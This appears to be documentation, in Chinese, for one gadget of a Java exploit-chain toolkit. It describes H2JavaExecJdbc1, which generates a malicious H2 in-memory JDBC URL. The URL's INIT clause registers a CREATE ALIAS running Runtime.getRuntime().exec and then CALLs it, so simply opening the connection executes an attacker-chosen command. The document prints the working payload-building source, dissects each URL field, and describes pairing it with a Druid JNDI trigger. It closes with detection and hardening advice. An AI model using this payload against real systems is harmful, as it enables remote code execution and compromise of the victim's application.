Skip to content

Latest commit

 

History

History
102 lines (78 loc) · 10.1 KB

File metadata and controls

102 lines (78 loc) · 10.1 KB

H2 JDBC URL Java命令执行1(H2JavaExecJdbc1)

  • 类别:common 别名:— 优先级:10
  • 实现com.ar3h.chains.common.Gadget(无基类,逻辑完全内联于本类)
  • 作者:—
  • 依赖com.h2database:h2:org.h2.Driver(目标 classpath 需存在 H2 数据库驱动)

作用

生成一段恶意的 H2 内存数据库 JDBC 连接串。当目标应用用这个 URL 去建立数据库连接时,H2 在连接初始化阶段执行 URL 中 INIT 参数携带的 SQL:先用 CREATE ALIAS 把一段内联 Java 方法 Runtime.getRuntime().exec(cmd) 注册为存储过程别名 EXEC,随后 CALL EXEC(...) 立即调用它,从而在“仅仅打开一个 JDBC 连接”这一动作中完成任意命令执行(JDBC Attack / JDBC RCE)。

本 gadget 是 JDBC 攻击链的链尾 sink:它不产出序列化字节码,而是产出一个字符串 URL,交由上游“能把攻击者可控字符串当作 JDBC URL 去连接”的 gadget(如 DruidJdbcAttack)触发。

链接标签

  • 入口 tagsH2JdbcUrlJdbcUrlChainsEND
    • JdbcUrlChains —— 声明“我是一个可被当作 JDBC URL 消费的载荷”,用于承接上游标注了 nextTags=JdbcUrlChains 的连接触发型 gadget。
    • H2JdbcUrl —— 进一步限定“我是 H2 方言的 URL”,供选链器区分 H2 / MySQL / PostgreSQL 等不同数据库的 URL 构造器。
    • END —— 标记本 gadget 为链尾,自身产出最终 payload,其后不再有更内层对象。
  • 衔接 nextTags:(无)。因为是 ENDinvoke 中不调用 chain.doCreate(context),不再向下衔接。
  • excludes:(无)。

源码剖析

本类极简,全部逻辑就是拼接一个字符串 URL 并把驱动类名塞进上下文:

@GadgetTags(tags={"H2JdbcUrl", "JdbcUrlChains", "END"})
@GadgetAnnotation(name="H2 JDBC URL Java命令执行1", description="适用于jdbc rce场景,通过H2执行Java代码……", dependencies={"com.h2database:h2:org.h2.Driver"}, priority=10)
public class H2JavaExecJdbc1 implements Gadget {
    @Param(name="命令", description="eg: cmd /c calc")
    public String cmd = "cmd /c calc";
    public String driverClassName = "org.h2.Driver";

    public String getObject() {
        String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('" + this.cmd + "')\\;";
        return url;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
        return this.getObject();
    }
}

逐段解释:

  • getObject() —— 构造恶意 H2 URL。拆解这条连接串的各字段:
    • jdbc:h2:mem:testdb —— 连接到一个名为 testdb 的 H2 内存数据库mem:)。内存库无需磁盘文件、无需鉴权即可即时创建,因此攻击者完全掌控这个“新建的库”,可在其中任意建别名、执行 SQL。
    • TRACE_LEVEL_SYSTEM_OUT=3 —— 打开 H2 的调试跟踪输出等级;对利用本身非必需,通常用于把执行过程/报错回显到标准输出,便于验证。
    • INIT=... —— 利用核心。H2 的 INIT 连接参数允许在连接建立时执行一段初始化 SQL。攻击面就在这里:连接“打开”这一动作本身即触发 SQL 执行,无需目标应用再显式发起任何查询。
    • CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}' —— H2 的 CREATE ALIAS ... AS '<Java 源码>' 特性:把一段内联 Java 源代码注册为可被 SQL 调用的存储过程别名。H2 会在运行时编译并加载这段源码。这里定义的方法体正是 Runtime.getRuntime().exec(cmd),即 description 所说“最简单的 getRuntime 去执行命令”,因此 Payload 相较于走 TemplatesImpl/字节码的方式非常简短
    • CALL EXEC ('<cmd>') —— 紧接着调用上面注册的别名,把用户可控的 cmd 作为参数传入,真正落地命令执行。
    • 转义细节:源码里的 \\;(在 Java 字符串字面量中即代表字面 \;)是 H2 URL 中的语句分隔转义。H2 用 ; 分隔 URL 里的多个设置项,而 INIT 内部的 SQL 又需要用 ; 分隔多条语句(CREATE ALIAS ...CALL EXEC ...),因此内部的分号必须写成 \; 转义,避免被 URL 解析器误当作设置项边界而截断。
    • 注入位置cmd 直接字符串拼接进 CALL EXEC('...'),无任何转义。攻击者对 cmd 完全可控(见 @Param),但也意味着若 cmd 中含单引号 ' 会破坏 SQL 语法,实战中需选择不含单引号的命令写法(例如 cmd /c calc/bin/sh -c ...)。
  • invoke(...) —— 产出并注入上下文
    • context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName) —— 把 org.h2.Driver 写入 GadgetContext。上游 gadget(如 DruidJdbcAttack 等 JDBC 连接触发器)会从上下文取出该驱动类名,用于显式加载/指定驱动,从而确保用 H2 驱动去解析并连接本 gadget 产出的 URL。
    • return this.getObject() —— 返回拼装好的 URL 字符串作为本环产物。注意本方法未调用 chain.doCreate(context):由于是 END 链尾,它不包装任何更内层对象,直接把最终字符串产物向外交付。这与常规“由内向外”包装型 gadget(先 doCreate 取内层对象再包装)不同——JDBC URL sink 是链的最内端起点。

参数(@Param)

字段 名称 说明 类型 默认值 可选值
cmd 命令 要执行的系统命令,eg: cmd /c calc String "cmd /c calc" (自由输入)

driverClassName(默认 org.h2.Driver)为公开字段但非 @Param,一般无需改动;它经由 invoke 写入上下文供上游 JDBC 连接器使用。

适用版本与原理要点

  • 依赖:目标 classpath 需存在 com.h2database:h2 驱动(org.h2.Driver)。
  • H2 版本相关CREATE ALIAS ... AS '<Java 源码>'(内联源码别名)依赖 H2 运行时编译 Java 源码的能力。较老/中间版本的 H2 默认支持该特性;H2 2.x 起收紧了 CREATE ALIAS / INIT 相关行为(对内联 Java 源码编译与连接期 INIT 执行的限制趋严),高版本环境可能失效。此时可改用同族其他变体(TRIGGER 触发型、Groovy/JS 脚本型、远程加载型,见「关联」)。
  • 触发前提:利用不依赖反序列化本身,而依赖“攻击者能控制 JDBC URL 字符串并促成一次连接”。典型入口是 JNDI 注入落地到 Druid/Hikari 等连接池组件,再由其把 URL 交给 DriverManager 建连。因此本 gadget 在预设链中总与一个 JDBC 连接触发器(nextTags=JdbcUrlChains)配对。
  • 无鉴权即可 RCEmem:testdb 为攻击者临时创建的内存库,不需要任何用户名/口令,INIT 在连接建立时同步执行,命令执行发生在受害进程内、以其权限运行。
  • 相对同族的取舍:本变体用 getRuntime().exec 直连命令,URL 最短、最直观(description 强调“Payload 比较简短”),但对 H2 高版本兼容性不如 TRIGGER 变体(见 H2JavaExecJdbc2)。

所属预设链

  • Druid Jdbc 利用(链步骤:[DruidJdbcAttack, H2JavaExecJdbc1];适用 Payload 入口:JNDIReferencePayloadJNDIRefBypassPayload)。上游 DruidJdbcAttack 经 JNDI Reference 注入使目标 Druid 组件把本 gadget 产出的 H2 URL 当作数据源 URL 去连接,触发 INIT 中的命令执行。

关联

防御与检测

  • 检测特征(流量/日志)
    • JDBC URL 或应用配置中出现 jdbc:h2:mem: 且带 INIT= 参数,尤其伴随 CREATE ALIASCALLRUNSCRIPT FROMRuntime.getRuntime().execTRACE_LEVEL_SYSTEM_OUT 等关键字,属高危指纹。
    • JNDI 注入回连(JNDIReferencePayload / JNDIRefBypassPayload)后紧跟一次数据库连接建立,源自 Druid/Hikari 等连接池,是本链的典型行为序列。
    • H2 进程/宿主 JVM 派生出 cmd.exe/bin/sh 等子进程,父进程为业务应用而非数据库工具。
  • 加固建议
    • 禁止外部可控的 JDBC URL:数据源连接串应来自受信配置,绝不接受用户/远端输入拼接;对 JNDI 查找、连接池刷新等入口做严格校验,阻断 JDBC Attack 前置的 JNDI 注入。
    • 升级 H2:升级到已收紧 CREATE ALIAS/INIT 行为的较新 H2 版本;如无必要不将 H2 驱动放入生产 classpath。
    • URL 参数白名单:在连接前对 URL 做解析,拒绝含 INITRUNSCRIPTTRACE_LEVEL_* 等危险参数的连接串。
    • 最小权限运行:以低权限账户运行应用进程,限制 JVM 派生子进程(如通过 SecurityManager 替代方案、容器 seccomp/AppArmor),降低命令执行影响面。